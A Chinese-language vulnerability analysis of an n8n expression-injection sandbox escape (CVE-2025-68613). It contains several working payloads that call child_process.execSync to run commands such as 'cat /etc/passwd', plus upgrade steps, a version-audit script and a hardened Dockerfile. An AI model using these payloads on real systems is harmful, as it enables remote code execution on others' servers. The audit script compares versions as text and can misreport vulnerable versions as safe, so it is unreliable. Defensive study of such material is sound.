CVE-2025-68613-n8n-rce-analysis

🔓 漏洞链条：
┌─────────────────────────────────────────────────────────────────┐
│  📝 n8n 表达式语言 → 动态数据处理                              │
│                           ↓                                     │
│  ⚠️  服务端评估中沙箱隔离不足                                  │
│                           ↓                                     │
│  💀 恶意表达式绕过沙箱                                         │
│                           ↓                                     │
│  🖥️  访问 Node.js 的 child_process 模块                        │
│                           ↓                                     │
│  💥 完全远程代码执行 - 操作系统命令执行                        │
└─────────────────────────────────────────────────────────────────┘

// 🔴 恶意负载 (请勿非法使用)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 漏洞根因                                                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  n8n 表达式求值器**缺少**阻止函数表达式访问以下内容的消毒器：             │
│                                                                         │
│    ❌ this.process        → Node.js 进程对象                             │
│    ❌ mainModule.require  → 模块加载系统                                 │
│    ❌ child_process       → OS 命令执行                                 │
│                                                                         │
│  这导致可直接访问系统模块并执行任意代码！                                │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ 将 n8n 升级到已修补版本
npm install -g n8n@latest

# 或使用 Docker
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n 版本审计

echo "🔍 正在检查 n8n 版本..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  存在漏洞：n8n $VER 受到 CVE-2025-68613 影响"
        echo "📦 需要：升级到 1.120.4、1.121.1 或 1.122.0+"
        exit 2
    else
        echo "✅ 安全：n8n $VER 已修补"
    fi
else
    echo "❌ 在 PATH 中未找到 n8n"
fi

# 🛡️ 加固的 n8n 部署
FROM n8n/n8n:1.122.0

# 👤 以非 root 用户运行
USER node

# 🔒 应用以下运行时标志：
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation 
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team